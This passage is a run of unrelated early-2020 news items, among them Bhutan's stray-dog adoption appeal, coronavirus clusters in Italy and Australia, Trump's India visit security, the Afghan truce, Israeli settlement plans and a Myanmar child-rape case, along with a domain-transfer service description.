that the PM asked this to deal with the countrys stray dog population problem in a humane manner. It further unveiled that the PM has asked people to plant a tree too. The tweet ended with Zam writing, my fiance and I have adopted 3 strays already. Our @PMBhutan has just asked every Bhutanese family to adopt a stray dog each as a gift for His Majesty on His Birthday today in order to deal with our stray dog population problem in a humane manner. And to plant a tree. My fiance and I have adopted 3 strays already. :) Namgay Zam (@namgayzam) February 21, 2020 Since being shared a few hours back, the post prompted all sorts of responses from people. While some applauded the initiative, others expressed that they want to move to Bhutan. Thats an outstanding idea! wrote a Facebook user. Really good initiative. Bhutan is a model neighbor, commented another. This is brilliant!! I want to move to Bhutan, expressed a third. The world has so much to learn from Bhutan! wrote a fourth. What do you think of this initiative? SHARE THIS ARTICLE ON Zaki: Attorneys call for probe on torture and false reports Complaints filed with attorney general to open investigation (ANSAmed) - CAIRO, FEBRUARY 21 - Attorneys with the non-governmental organisation Egyptian Initiative for Personal Rights (EIPR) filed two complaints with the Egyptian attorney general's office calling for investigations into an alleged report falsification and torture against Patrick George Zaki, the 27-year-old Egyptian activist and University of Bologna student currently incarcerated in Egypt accused of subversive propaganda on Facebook. The first complaint is against the Mansura police station's investigative unit for "falsification of an arrest report" on February 8, "number 9944 of 2020", specified in a post Friday on the Facebook page of EIPR, the NGO where Zaki works as a researcher in gender studies. A second complaint regards the fact (denied by the Egyptian judiciary) "that Patrick was beaten and subjected to electrical shocks before he was presented to the prosecutor", EIPR said. It said the complaints were filed Monday and called for the attorney general to "open an urgent investigation".(ANSAmed). The floor where the Grand Presidential Suite is located at the ITC Maurya in New Delhi is out of bounds for most hotel staff owing to the elaborate security arrangements being made for the visit of President Donald Trump and his family, sources said. IMAGE: Rapid Action Force (RAF) personnel stand guard outside Sardar Patel Gujarat Stadium, where US President Donald Trump is scheduled to address 'Namaste Trump' event with Prime Minister Narendra Modi, in Ahmedabad on Friday. Photograph: Amit Dave/Reuters Trump will stay at the 'Chanakya' suite of the hotel, which has hosted the likes of former United States Presidents George Bush and Barack Obama. Sources said security arrangements at the hotel have been underway for the last two weeks with National Security Guard commandos and Delhi Police personnel surveying every floor on a daily basis. Officials from the US embassy are also monitoring the preparations with all details being kept under wraps. The sources added that the hotel will be out of bounds for other guests during the time Trump and his entourage will be there and all the 438 rooms of the five-star property have been booked. According to those privy to the arrangements, every time a US President visits there is a high level of security threat which means that there is always a different approach to the security protocols. However, in view of the spiralling tensions between Iran and the US, there is a higher security threat this time and the agencies are more "cautious and alert" than ever, the sources said. A multi-tier security arrangement comprising the Delhi Police, US Secret Service and other agencies will be in place in the national capital, including the hotel, during the Trumps' visit next week. At the ITC Maurya, a three-layer security will be in place. The hotel, located in Diplomatic Enclave in Chanakyapuri, will have police personnel in plain clothes patrolling every floor. Delhi Police's security wing personnel will form part of the inner cordon that will work in close coordination with the United States Secret Service. The security wing of the Delhi Police is a specialised unit tasked with the security of VIPs and visiting foreign dignitaries. The second layer of security will be deployed around the hotel's lobby area, parking, lawn area and the pool area, while the third one will comprise of police personnel from the district police. There is a large stretch of green ridge area opposite the hotel and security personnel will be deployed there as well. Even at the neighbouring Taj Palace hotel, security arrangements have been refurbished and security personnel are keeping a tight vigil there. Sources said even the hotel staff has not been made privy to the security arrangements and details will be communicated to them at the last moment. In 2015, the then US president Barack Obama had come to India on a three-day visit, during which he was also the chief guest at the Republic Day event. Trump, who is scheduled to visit India on February 24 and 25, will be accompanied by a high-level delegation that will include his daughter Ivanka, son-in-law Jared Kushner and a galaxy of top US officials. Prime Minister Narendra Modi will host a lunch for Trump, while President Ram Nath Kovind will host a banquet in honour of the visiting dignitary. Asian American businesses are seeing a drop in customers because of fears over the new coronavirus outbreak in China. In many places, city officials are trying to stop the financial harm with efforts like information campaigns and personal visits to stores and restaurants. They aim to bring attention to the fact that there have been few confirmed cases of the disease in the United States. They say there is no reason to avoid Asian American businesses. The newly opened Asian District in Mesa, Arizona, was organizing a night market for the end of February. Then, news of a case of the illness known as COVID-19 was confirmed at nearby Arizona State University. Comments on social media and phone calls started almost immediately, said Vicente Reid. He is chief of the Arizona Asian Chamber of Commerce. Reid said, I probably should stop picking up my phone altogether. The new coronavirus has sickened tens of thousands of people, mostly in China. Fifteen people in the U.S. have been confirmed to have the virus. All but two had recently traveled to China. Fewer people at restaurants Vegetarian Dim Sum House has been a popular place to eat in Manhattans Chinatown for 23 years. But recently, owner Frankie Chu said he will not be able to pay his rent this month. Chu said restaurant sales have dropped 70 percent over the last two weeks. On a recent weekday, just three couples stopped in for lunch. Normally, Chu said he gets up to 30 people for lunch. At dinnertime, his narrow restaurant usually gets about 70 customers. These days, he has about four. I dont know how long I can stay here, Chu said. After 9/11, it wasnt this bad. The situation has concerned New York City officials and business leaders. They have launched a campaign to bring people back to hard-hit communities in Manhattan, Queens and Brooklyn. Chinatown is bleeding, said Wellington Chen. He is executive chairman of the Chinatown Partnership, a local business and community group. This thing is thousands of miles away. This fear is really out of proportion. New York City is home to more than 500,000 Chinese Americans, the biggest population of any U.S. city. Some New Yorkers whose families are from China say they feel now like foreigners because of a disease spreading in another country. Its a little annoying to be honest, said Christina Seid, owner of the Chinatown Ice Cream Factory. Her father started the business 40 years ago. Her great-grandparents immigrated to New York from China. She said business has been slower than usual but added that the winter months are not busy for ice cream stores. She said she feels hopeful that things will soon return to normal. There have been no confirmed cases of the virus in New York City. Officials and politicians are trying to prove to locals that there is no reason to avoid any neighborhood. Many city leaders have been eating at Chinese restaurants and publishing pictures of themselves doing so, using the hashtag #SupportChinatown. In Boston, Massachusetts, Mayor Marty Walsh has launched a similar social media campaign. He has asked people to share pictures of themselves supporting small businesses in that citys Chinatown with the hashtag #LoveBostonChinatown. In the San Francisco Bay Area, the situation is serious enough that Sunny Wongs family is considering temporarily closing one of the four restaurants they own in Oakland Chinatown. Even some of his friends and longtime customers have told him about false stories of people getting sick at one of his restaurants. They hear stories and rumors and they just dont really look for the facts in a situation, Wong said. Nom Wah Tea Parlor is the oldest restaurant in Manhattans Chinatown. Manager Vincent Tang said the restaurant had a 40-percent drop in business over the past three weeks. During a recent weekday, nearly half the tables were empty. Some customers at Nom Wah said they were surprised that others were staying away. It didnt cross my mind at all, said customer Kate Masterson. Its not happening here, she said of the outbreak. Im Ashley Thompson. The Associated Press reported this story. Ashley Thompson adapted it for VOA Learning English. Mario Ritter, Jr. was the editor. _______________________________________________________________ Words in This Story customers - n. someone who buys goods or services from a business rent - n. money that you pay in return for being able to use property and especially to live in an apartment, house, etc., that belongs to someone else lunch - n. a light meal eaten in the middle of the day out of proportion - expression. when something becomes larger than it should be or it is treated as something worse or more important than it really is. annoying - adj. feeling bothered or somewhat angry rumors - n. information or a story that is passed from person to person but has not been proven to be true manager - n. someone who is in charge of a business, department, etc. Morocco wants to strengthen its commercial and business ties with the Balearic Islands and boost trade on the islands. At a Day of Internationalisation to strengthen trade agreements between the two, the Moroccan Ambassador, Karima Benyaich said both countries would profit from closer connections. Balearic companies can benefit from the advantages offered by our free trade agreements, she said. The Ambassador said that Industry, Agriculture, Energy, Fisheries, Information Technologies and Hotel Companies in Mallorca, such as, Barcelo, Melia, Riu and Globalia are all good Sectors to invest in. The Hotel chains currently manage around 20 hotels, with more than 14,000 beds and Morocco wants to take advantage of the International experience of these chains to strengthen its Tourism Industry on the Mediterranean and Atlantic coasts. Tax incentives The Moroccan Minister for Economic & Business Affairs, Aziz El Atiaoui, said his country offers advantages for investors, whether they are tourists or not. "There are tax incentives, such as a zero corporate tax rate during the first 5 years of operation and 17.5% after that and a VAT rate of 10% on hotel accommodation services and incentives. In terms of land acquisition, infrastructure costs and vocational training, state-funding (particularly in terms of land acquisition, spending on infrastructure or vocational training) or even support for financing with the creation of dedicated funds under the state program, said Minister El Atiaoui. Within the bilateral agreements, the General Director of Royal Air Maroc in Spain, Mohamed Amine El Jaouhari, pointed out that Morocco has been operating in shared code with One World Companies, including Iberia and Vueling, since December 12, 2019, with a single ticket from Palma and Ibiza to the main airports in tourist areas of Morocco. The President of the Chamber of Commerce, Antoni Mercant, spoke about the trade balance between Morocco and the Balearic Islands. In 2019, imports totalled 2.5 million euros and the most popular products were seeds, fruits, wood products, carpets and leather goods, he said. Exports amounted to 1.6 million euros and focused on the agricultural sector, plastics, ships and aeronautical equipment. The Ambassador said political stability and security in Morocco had boosted foreign investment in all productive sectors." The Moroccan Ambassador to Spain, Karima Benyaich, also visited the OK Group Headquarters in Palma on Thursday, where he was received by the founder and present of the company, Othman Ktiri, and given a first-hand look at the challenges and goals that the group faces in 2020. The National Company Law Appellate Tribunal has dismissed the Lloyd Insultations' plea to initiate insolvency proceedings against Sintex Prefab and Infra. The NCLAT bench headed by Chairperson Justice S J Mukhopadhaya observed that there was a pre-existence of dispute between the parties and upheld the order of the National Company Law Tribunal (NCLT), Ahemdabad. The NCLT had on January 2, 2020, rejected the plea of Lloyd Insultations (India), an operational creditor, on the ground of pre-existence of a dispute over the claims. "On perusal of the record, we find that there is pre-existence of dispute as rightly held by the Adjudicating Authority (NCLT)," the appellate tribunal said. Lloyd Insultations had submitted that there was no pre-existence of dispute and e-mail etc relied upon does not suggest any dispute with regard to services rendered by it. However, the National Company Law Appellate Tribunal (NCLAT) observed that e-mail exchanged between the parties shows that the tank fabrication was in progress, but not a single tank fabrication was completed. The workmanship was very poor as erection gang could not be retained by Lloyd Insultations (India). "In view of the pre-existence of dispute, it is not desirable to decide whether the dispute raised by the Respondent (Sintex Prefab) is genuine or not which can be decided by Court of Competent Jurisdiction and not by the Adjudicating Authority (NCLT) or this Appellate Tribunal, " the appellate court said in its order on February 14. "In absence of any merit, the appeal is dismissed," it added. Lloyd Insultations (India) had moved under section 9 of the Insolvency and Bankruptcy Code, under which an operational creditor of a company may file a plea to initiate insolvency after serving a 10 days notice claiming default. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) CODOGNO, Italy The number of people in Italy infected with the new virus from China more than quadrupled Friday due to an emerging cluster of cases in the countrys north that prompted officials to order schools, restaurants and businesses to close. Many of the 14 new cases represented the first infections in Italy acquired through secondary contagion and brought the countrys total to 17. The cluster was located in a handful of tiny towns southeast of Milan in the Lombardy region, said Lombardy regional health chief Giulio Gallera. This was foreseeable even if we hoped it wouldnt have happened, Gallera said. The first to fall ill was a 38-year-old Italian who met with someone who had returned from China on Jan. 21 without presenting any symptoms of the new virus, health authorities said. That person was being kept in isolation and appears to present antibodies to the virus. The 38-year-old is now hospitalized in critical condition. His wife and a friend of his, who was a member of his running club, also tested positive for the virus. Three patients at the hospital in Codogno where he went with flu-like symptoms on Feb. 18 also have infections, as do five nurses and doctors. In addition, another three elderly people, who frequented the same cafe as the runner's father, also tested positive Friday, Gallera said. Tests were under way, meanwhile, on the 38-year-olds doctor, who made a house call on him, as well as on 120 people he worked with in the research and development branch of Unilever in Casalpusterlengo, Gallera said. Word of the contagion sparked fears throughout the region, particularly given the closure of the emergency room at the Codogno hospital. We are old and we are very concerned," said 76-year-old Codogno resident Carmelo Falcone. I live on my own. I really dont know what to do. Italian Health Minister Roberto Speranza said Italy is now seeing the same sort of "cluster" of cases that Germany and France have seen. He signed an ordinance with Lombardy's regional president outlining measures to contain the cluster to the 10 towns so far affected: Codogno, Castiglione d'Adda, Casalpusterlengo, Maleo, Fombio, Bertonico, Castelgerundo, Terranova dei Passerini, Somaglia and San Fiorano. The towns, which have between 1,000-15,000 residents each, are located around 60 kilometers (37 miles) southeast of Milan, Lombardy's capital and Italy's business center. The ordinance suspends public gatherings, commercial and business activity, sport, education, and other recreational activities throughout the region, Speranza, the health minister, said. He defended the precautionary measures Italy took previously, noting that Italy remains the lone European country to have barred flights to and from China, Hong Kong, Macau and Taiwan. We had the highest measures in Europe," he said. The health ministry ordered anyone who came into direct contact with the victims to be quarantined for 14 days. And it recommended others in the region stay home. Italys civil protection agency, meanwhile, was working to identify military buildings, hotels or other structures that could serve as isolation wards if necessary. "In other parts of the world, and also in China, it has been demonstrated that this system (of self-isolation) helps in a substantial way to block the spread, Lombardy regional president Attilio Fontana said. But we must not let ourselves be overcome by panic." The Codogno hospital closed its emergency room, and staff were seen wearing masks as movers brought in new beds and furniture as the quarantine got under way. Romes infectious disease hospital is currently caring for three other people who were infected weeks ago, including a Chinese couple from hard-hit Wuhan and an Italian who is now testing persistently negative for the virus after two weeks of anti-viral treatment. Despite the calls for safeguards, Italians were having a hard time finding protective face masks. A sampling of Milan pharmacies reported selling out out weeks ago, as did a pharmacist in Codogno who said Italy had been sending masks to China for weeks. -- The Associated Press US and Taliban agree to a seven-day truce as a first step towards peace; however, conflict between Afghan leaders threatens the deal. The death toll from the Afghan war has topped 150,000 since it started in 2001. Kabul (AsiaNews/Agencies) Afghanistans National Security Council announced a partial, seven-day truce with the Taliban starting at midnight local time. Three senior Taliban officials confirmed the deal to Reuters. The truce is a precondition for the start of intra-Afghan negotiations and any peace agreement between the parties. The Taliban had previously refused to speak directly to the Kabul government, which they view as a US puppet. For seven days, the extremist group will "reduce" its violence, avoid attacks against human settlements, the countrys main roads as well as US, international and Afghan bases. The US military, its allies and Afghan forces will engage not the Taliban, except in self-defence. The truce does not apply to other jihadi groups present in Afghanistan; especially the Islamic State group or the Pakistani Taliban. The Afghan government has denied however another Taliban announcement that peace talks would be preceded by a prisoners exchange. The latest development comes after the failure last September of a first round of talks between the US and the Taliban, which had started in Qatar in 2018. The peace process should end with the withdrawal of US troops from Afghanistan. In return, the US wants the Taliban to cut ties with other jihadi groups, lay down their arms and participate in the countrys political life. The truce is however under threat from the unstable political situation that followed the confirmation of President Ashraf Ghani's victory in last years presidential election. His main rival, Abdullah Abdullah, has rejected the election outcome, pledging to set up his own government. The Taliban, a mostly ethnic Pashtun group based in the south of the country, are active in almost every Afghan province. The US and Northern Alliance forces (mostly Tajiks and Uzbeks) toppled the Taliban regime between the end of 2001 and early 2002, shortly after the terrorist attack on the Twin Towers and the Pentagon. Under the Taliban, al-Qaeda leaders responsible for the attacks against the US found refuge in Afghanistan. According to the latest figures, the war has resulted in 157,000 deaths, including 43,000 civilians. The US, which currently has 13,000 troops in the country backed by 17,000 NATO and other troops, has suffered 2,200 casualties. With the US presidential election just around the corner, US President Donald Trump wants to bring US soldiers home, which is popular with his electoral base. Israeli PM plans to build thousands of settler units in East Jerusalem al-Quds Iran Press TV Thursday, 20 February 2020 3:52 PM Israeli Prime Minister Benjamin Netanyahu has announced plans to construct thousands of new settler units in occupied East Jerusalem al-Quds, two weeks prior to a general election due to be held by the Israeli regime. "I have huge news today -- we're adding another 2,200 units to Har Homa [settlement in southern East Jerusalem al-Quds]," the Israeli premier said in a video message posted by his office on Thursday. The controversial Har Homa Jewish community was first set up in 1997, during a previous tenure of Netanyahu's premiership. Netanyahu added in his message that he had approved the initial construction of the units "despite objections from the entire world" and that he had estimated that Har Homa's population would reach 50,000 from its current 40,000 when the new units were completed. The Israeli prime minister also announced his approval to construct an entire new settlement with several thousand units in Givat Hamatos, a settlement, which hosts Ethiopian Jewish and Russian immigrants, and is situated next to the mainly Palestinian East Jerusalem al-Quds neighborhood of Beit Safafa. Netanyahu added that the new settlement would include 3,000 units for Jewish settlers and 1,000 "for the Arab residents of Beit Safafa." Peace Now, an Israeli anti-settlement group that monitors settlement activity in the occupied West Bank, has said the contentious Givat Hamatos project would interrupt "territorial continuity between Bethlehem and East Jerusalem [al-Quds]." According to Peace Now, Netanyahu who is currently leading a caretaker cabinet after two elections failed to produce clear winner lacked the required mandate to approve the controversial projects. Through using the settlement projects as a pre-election tactic, Netanyahu is apparently trying to secure his re-election at a third vote scheduled to take place on March 2. 'Netanyahu tries to win votes at expense of Palestinian rights' In reaction to the Israeli prime minister's provocative settlement projects, the Palestinian Authority issued a statement, saying Netanyahu's new settlement projects would only bring more tension and violence to the already tense region. "Netanyahu's attempts to win right-wing Israeli votes on the eve of the Israeli elections at the expense of Palestinian rights will not bring peace and stability to anyone, and will lead to more tension and violence in the region," said a statement from a spokesman for Palestinian President Mahmud Abbas. Recent polls predict yet another close race between Netanyahu's right-wing Likud and the centrist Blue and White party led by Benny Gantz, with neither side expected to win an outright majority. The occupying regime seized East Jerusalem al-Quds in the 1967 Six-Day War. It later annexed the territory in a move never recognized by the international community. Around 600,000 Israeli settlers now live in over 230 settlements built in the occupied Palestinian territories of the West Bank and East Jerusalem al-Quds. The Palestinian Authority wants the West Bank as part of a future independent Palestinians state, with East Jerusalem al-Quds as its capital. The continued expansion of Israeli settlements is one of the major obstacles to the establishment of peace in the Middle East. US President Donald Trump infuriated Palestinians last month, when he unveiled his much-delayed and self-proclaimed "deal of the century" during an event at the White House alongside Netanyahu. Palestinian groups have unanimously rejected Trump's one-sided plan, which largely meets Israel's demands in the decades-old conflict with the Palestinians while envisioning a Palestinian state with limited control over its own security and borders. The so-called "peace" plan enshrines Jerusalem al-Quds as "Israel's undivided capital" and allows the regime to annex settlements in the occupied West Bank and the Jordan Valley. The plan also denies the right of return of Palestinian refugees to their homeland, among other controversial terms. Trump's plan has triggered waves of protest rallies both across the Palestinian occupied territories and around the globe. President Abbas has already severed ties between the Palestinian Authority which he heads and the Israeli regime as well as the US in reaction to Trump's scheme. Apart from the Palestinian leaders, many other international blocs and organizations, including the European Union (EU), the Organization of Islamic Cooperation (OIC), and the African Union (AU), have rejected Trump's plan. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Embu Governor Martin Wambora has denied that his directive to close all stadiums in the county is aimed at blocking DP Ruto from using them for his event. The Deputy President is scheduled for a meeting at Moi Stadium in Embu on Sunday and has since confirmed attendance. But the County boss, who learnt about the planned event, immediately closed the venue and all other possible venues for renovations, the Star reports. A source reportedly told the publication that efforts to modernise Moi stadium are still ongoing. The stadium will be open for use from the second weekend of March this year, the source was quoted as saying. Governor Wambora dismissed the narrative that the closure of the stadiums was politically motivated, reiterating that renovations are ongoing. I am surprised that some individuals are saying that I have closed Moi stadium to block some individuals from using it. This is not the case.The chief officer in charge of the stadium has brought to my attention a memo he had written to the effect that the stadium will be closed for renovation, from 10th February, Wambora said. Embu Countys Chief Officer for Youth Empowerment and Sports, Samuel Wachira said Moi stadium has been closed to allow the construction of a proper drainage system. We are also landscaping and trimming the grass, he said. For some voters, reacting to President Trump is precisely the problem. They say the president has made it so that Democrats devote their speaking time and mental energy to decrying him, rather than articulating their own policy positions. Isaac Barron, a high school teacher and city councilman in North Las Vegas, a suburb with a large Latino population, has watched nearly every candidate come through his neighborhood in the last several months. They try, he said, to appeal to communities like his own, but there is always something missing, absent a mix of urgency and passion when it comes to talking about the problems theyre facing. It just goes to show you that it might be 2020, but things havent changed, Mr. Barron said, adding that in many ways he feels the conversation about racial injustices has lost a sharp focus in recent years. Theres a real lack of understanding. Poverty is a huge issue, but were not talking about it. We care about immigration, yes Ive lost track of the number of students who come to me with tears in their eyes because their father got arrested by ICE. But we still have difficulty getting beyond the basics. Steven Olmos, a 34-year-old operations manager, initially supported Senator Kamala Harris, but worried that as a black woman she would face too many insurmountable challenges, including being seen as too forceful. Right now, they are being careful not to offend anyone, not to take on topics that are too hot and will alienate people, he said, as he stood outside a rally for Mr. Buttigieg in North Las Vegas on Sunday, holding a Juntos con Pete sign. Every name on the BrandBucket marketplace is exclusively listed with BrandBucket. That means that all of our sellers are very responsive, making for quick domain transfers. A dedicated BrandBucket agent will manage your domain transfer from beginning to end, ensuring a secure and easy transaction. They will manage the receipt of the domain into one of BrandBuckets secure registrar accounts and then complete the transfer to you. 1. Verification and registrar choice After we receive the payment and verify it, we will reach out via email to confirm which registrar you want the domain transferred to. We also provide a link to our tracking system, where you can communicate with us, check on the status of your transfer, view your invoice, and download your logo files. In most cases, if a domain is moved between accounts at a single registrar, the transfer is quick and usually completes within 48 hours. If a domain changes registrars (in other words, you would like to move it away from where it is currently registered), the transfer is slower. The total transfer time can then be anywhere from 48 hours to 7 days. BrandBucket has vetted and supports the following registrars: GoDaddy Namesilo Uniregistry NameCheap Google Domains Network Solutions Name.com Dynadot Amazon Route 53 123 Reg Gandi 2. We request the name from the seller. Once we know where you would like the domain transferred, BrandBucket will request the domain from the seller. All of our sellers are very responsive, making for a quick process. 3. Transfer the name into your account As soon as we receive the name from the seller, we start the transfer into your account and guide you through the whole process. 4. Verify with the buyer that the transfer is complete Once we confirm that you have received the name, we consider the escrow process to be complete. Only then do we release payment to the domain seller. Burma Myanmar President Vows to Punish Officials Responsible for Failed Toddler Rape Investigation Hundreds of people join the Justice for Victoria rally in July 2019 in Yangon to demand that authorities take decisive action in the case. The protesters gathered in front of the Criminal Investigation Department to show their lack of confidence in the police's handling of the case. / Aung Kyaw Htet / The Irrawaddy YANGON Myanmar President U Win Myint has ordered that action be taken against officials who failed to do their duty under the law and properly investigate a high-profile toddler rape case in Naypyitaw. Presidents Office Spokesperson U Zaw Htay said at a press briefing in the capital on Friday that the victims father sent a letter to the President seeking his help in the case on Dec. 24. Since then, the President had ordered the Supreme Court of the Union, the Home Affairs Ministry and the Union Attorney-Generals Office to find the truth in the case, to ensure accountability and responsibility, to comply with the law and to disclose the findings of the investigation, which dragged on for more than nine months without leading to a conviction. The rape of the girl, who has been dubbed Victoria on social media and was just 2 years and 11 months old at the time of the crime, at her nursery in the administrative capital Naypyitaw in May last year has left Myanmar society reeling, prompting thousands to take to the streets of big cities demanding justice. Yet, following a months-long inquiry, the court case came to an end on Tuesday. The court earlier freed a man who was falsely accused in the case and had been detained since July, but failed to prosecute the actual perpetrator. The police forces handling of the case has drawn public anger, in particular for making false accusations, mishandling evidence and revealing the identities and personal information of the young victim and her parents, in violation of the Child Rights Law. The President instructed the relevant organizations on Thursday to take the necessary action against those who didnt comply with the law and procedures, and failed to fulfill their duties in investigating the case, U Zaw Htay said, when asked by The Irrawaddy what the Presidents Office is doing about the case. The police officers who revealed the identities of Victoria and her parents are among the responsible officials who will be punished, he said. Many people were hoping for presidential intervention to ensure justice after the court process came to an end on Tuesday. Speaking to The Irrawaddy after the press conference on Friday, Victorias father welcomed the move by the Presidents Office to discipline officials who had failed to take action, but said the priority should be to secure a conviction in the case. What we want is the truth, he said. Taking action against those who failed to find the truth is a step forward. But I hope the officials will try to get to the truth in the case. However, U Zaw Htay said that finding the real perpetrator was a matter for the victims family and prosecutors, and stopped short of saying whether the President had ordered a new investigation. Legal expert U Khin Maung Myint said now is time to order a new investigation, as the first one was marred by many irregularities including the disappearance of CCTV footage taken on the day of the crime from a hard drive belonging to the nursery, and threats against the lawyers in the case. The nursery schools supervisor, whose husband is a police lieutenant and whose two sons are thought by many to be the real perpetrators, filed lawsuits against the victims relatives and lawyers for submitting evidence accusing her sons. U Khin Maung Myint added that it would set a dangerous precedent in the countrywhich already suffers from a high number of child rapesif the actual culprit cannot be identified in such a high-profile and well-publicized case. Then, the consequences would be dire for the rule of law, as well as for justice in other cases involving rapes of minors across the country, he said. Htet Naing Zaw contributed reporting from Naypyitaw. You may also like these stories: Police Failed on Victoria Rape Case: New Home Affairs Minister Myanmar Lawyers Seek Presidential Approval to Sue Police for Revealing Raped Toddler Identity Lawyers to Sue Naypyitaw Police for Naming Raped Toddler A man cycles past city buses (back L) lined up to transport the first batch of passengers disembarking from the Diamond Princess cruise ship at the Daikoku Pier Cruise Terminal in Yokohama on Feb. 19, 2020. (Charly Triballeau/AFP via Getty Images) Two Australian Evacuees from Cruise Ship Contract COVID-19 The nations chief medical officer says more cases are possible after two people brought back to Australia from a cruise ship in Japan contracted coronavirus. A 24-year-old woman from South Australia will be transferred to Royal Adelaide Hospital on Friday. The other patient is from Western Australia. Both remain well and are being housed in a separate isolation unit at Howard Springs outside Darwin. Public health authorities from their home states are organising medical transfers for the patients and their partners. Despite clearing multiple screenings for the virus before being taken to the Howard Springs facility, Australian Chief Medical Officer Brendan Murphy says the cases are not surprising. There has been ongoing detection of infection on the Diamond Princess cruise ship over the last few days, so its not unexpected that some people might have been incubating the virus, he told reporters in Canberra on Friday. Its possible more people could develop positive tests over the next few days. We dont know that, but if they do we are completely well set up to detect and manage them and isolate them. Professor Murphy said both evacuees were in a clinically reasonable condition. Four other people tested for coronavirus after returning to Australia on Thursday have been cleared and released from isolation back into general accommodation. All six who had displayed cold-like symptoms were separated from others on the flight. The two new cases takes the total number in Australia to 17. Of those, 10 people have recovered. Acting NT chief health officer Dianne Stephens said the pairs symptoms could slowly worsen over several days. Both these individuals will be taken into their hospital systems to watch to see whether or not theyre going to improve or deteriorate, she told reporters. Then their own health systems have systems in place to manage the Covid-19 infected patients. Some 170 Australians, most aged in their 60s and 70s, will be quarantined for two weeks after escaping the coronavirus-hit Diamond Princess cruise ship in Yokohama. Meanwhile, Australia has extended its ban on foreign travellers from China for another week as the number of infections and deaths in the coronavirus epicentre of Hubei province continues to grow. The government is reportedly considering easing the ban for students. Murphy said it was up to the government to consider the risks and benefits of doing so. At the moment our advice is that it should be maintained and reviewed in the next seven days, he said. Prime Minister Scott Morrison has ruled out compensation to tourism operators and universities hit by the travel ban. Coronavirus impact is right across the country, he told reporters on Friday. The taxpayer is not an insurer for these things. By Rebecca Gredley The construction of one resettlement area of Long Thanh International Airport will start in April The construction of the Loc An-Binh Son area, one of the two resettlement areas of Long Thanh International Airport, will be kicked off in April. Dong Nai Peoples Committee has asked the managing board of Long Thanh International Airport to prepare to implement the construction of social and technical infrastructure for the first resettlement area. This resettlement covers an area of 282 hectares which can generate accommodation for 30,000 people. The construction was expected to start in late 2019 but failed because of difficulties in determining the wages of workers, machinery, as well as advance monies for signed contracts. According to the plan, in the third quarter of this year, households which have to relocate to make place for Long Thanh Airport will receive land to build new houses. Along with the resettlement, Dong Nai Peoples Committee asked the managing board to clarify difficulties and build plans to accelerate the construction of the remaining parts. The long-awaited Long Thanh International Airport has attracted the attention of both domestic and international private investors with new opportunities to join the project to be announced in the near future, with the form of investment to be decided next month. Most recently, the Vietnamese government issued Resolution No.07/NQ-CP on the feasibility study of the first phase of Long Thanh International Airport, asking the State Appraisal Council (SAC) to hasten the process before submitting it to the prime minister for approval and then for a decision on the investment in March. Accordingly, the investment forms will be chosen based on the classification of investment works and items after appraisal from the SAC, with national defence, national interest, and management in alignment with civil aviation regulations. The Minister for Small and Medium-Sized Enterprises, Lex Delles, presented a report on establishment permits issued in 2019. More than 12,000 requests for business authorisation were registered with the Ministry for Small and Medium-Sized Enterprises in 2019 - 5.9% more than in 2018. 7,905 requests were based in the commercial sector compared to 6,835 in 2018, while 3,507 requests were for the craft sector (3,819 in 2018) and 602 requests for the exercise of "a liberal profession" (688 in 2018). The report mentioned the processing time for each request for the first time. In 2019, it took 9.4 days on average, compared to 9.8 the previous year. The Minister said reducing the processing time of files will be a priority for the Ministry, which will .strengthen its staff, while maintaining an in-depth analysis of requests for establishment authorisation. Another encouraging sign: the attractiveness of Luxembourg, in particular for cross-border craft businesses which are not established in Luxembourg, but which provide services there. 5,175 certificates were issued in 2019 (compared to 4,823 in 2018), which corresponds to an increase of 7.3%. Delles said this underlined Luxembourg's position as the economic engine for the Greater Region. Henderson County News School Board reinstates mask mandate The Henderson County School Board voted 5-2 on Monday to reinstate the mask mandate throughout the school day for students, teachers, other staffers and visitors, saying that a precipitous rise in Covid cases and quarantines puts in-person learning at risk at its current rate of acceleration. Read Story Flat Rock News Staffing shortage closes two middle schools for in-person class A staffing shortage brought on by contact tracing protocols, quarantine gudelines and employees awaiting test results forced school administrators to switch Flat Rock Middle School to virtual instruction today and Tuesday. Read Story Hendersonville Opinion Newest surge, workforce and testing shortage put Pardee under 'perfect storm' of stress, CEO says It is rare that I personally reach out to members of our community to share a direct message from Pardee. Usually, it would be to share some good news about an award or a new service that weve added to our system. Unfortunately, that is not the case today. Read Story Washington, Feb 21 : At a campaign rally in Colorado, US President Donald Trump slammed the Oscars for giving the best picture award to the South Korean film "Parasite", and also took aim at Hollywood actor Brad Pitt. "By the way, how bad were the Academy Awards this year?" Trump asked the crowd at the rally on Thursday. "And the winner is... a movie from South Korea! What the hell was that all about? "We've got enough problems with South Korea, with trade. On top of it, they give them the best movie of the year! Was it good? I don't know. Let's get 'Gone with the Wind' back please. 'Sunset Boulevard'. So many great movies," he added. Trump linked the political and economic situation of both countries with the prize given to the film that has also triumphed at festivals such as Cannes, reports Efe news. "I thought it was the best foreign film, right?" he asked in reference to the best international feature film category, which "Parasite" also won. "Parasite" made history by being the first foreign language movie to win the Oscar for best film. The response of the film's US distributor, Neon, came a few minutes later on Twitter. "Understandable, he can't read," it said, accompanying a clip of the President's rant. Trump also criticized the Oscars' for awarding Pitt for best supporting actor. "And then you have Brad Pitt, I was never a big fan of his," he said. "He got up, said a small wise guy statement. Little wise guy. He's a little wise guy," said the President about a speech in which the actor said the time he had been given to talk was longer than former White House national security adviser John Bolton was given when he offered to testify at Trump's impeachment trial. The president also lashed out at teenage climate activist Greta Thunberg, TIME magazine's 2019 person of the year. "This year I got beaten out by Greta - you know Greta?" he asked. "Last year I got beaten out - I've won it, but when the world revolves around all of us, we should be chosen... I mean, we've won it. But we should win it every single year." ANSAmed - Weekly diary from February 24 to March 1 (ANSAmed) - ROMA, FEBRUARY 21 - Weekly diary of the main events scheduled in the Euro-Mediterranean area from February 24 to March 1: MONDAY FEBRUARY 24 DUBAI - Scheduled launch of third phase of solar panel plant in United Arab Emirates. GENEVA - 43rd session of the Human Rights Council (until March 20). LA MARSA (Tunisia) - International Mediterranean Studies conference kicks off, on the theme 'madness' (until February 25). TUESDAY FEBRUARY 25 BRUSSELS - EU, European Commission Vice President Frans Timmermans receives Dimitri Papalexopoulos, CEO of Titan Cement and president of European Roundtable of Industrialists (ERT) for energy transition and climate change. WEDNESDAY FEBRUARY 26 TUNIS - Scheduled confidence vote on the government of prime minister-elect Elyes Fakhfakh. ALGIERS - Hearing on appeal against various former high officials accused of corruption. THURSDAY FEBRUARY 27 BRUSSELS - 10th meeting between the European 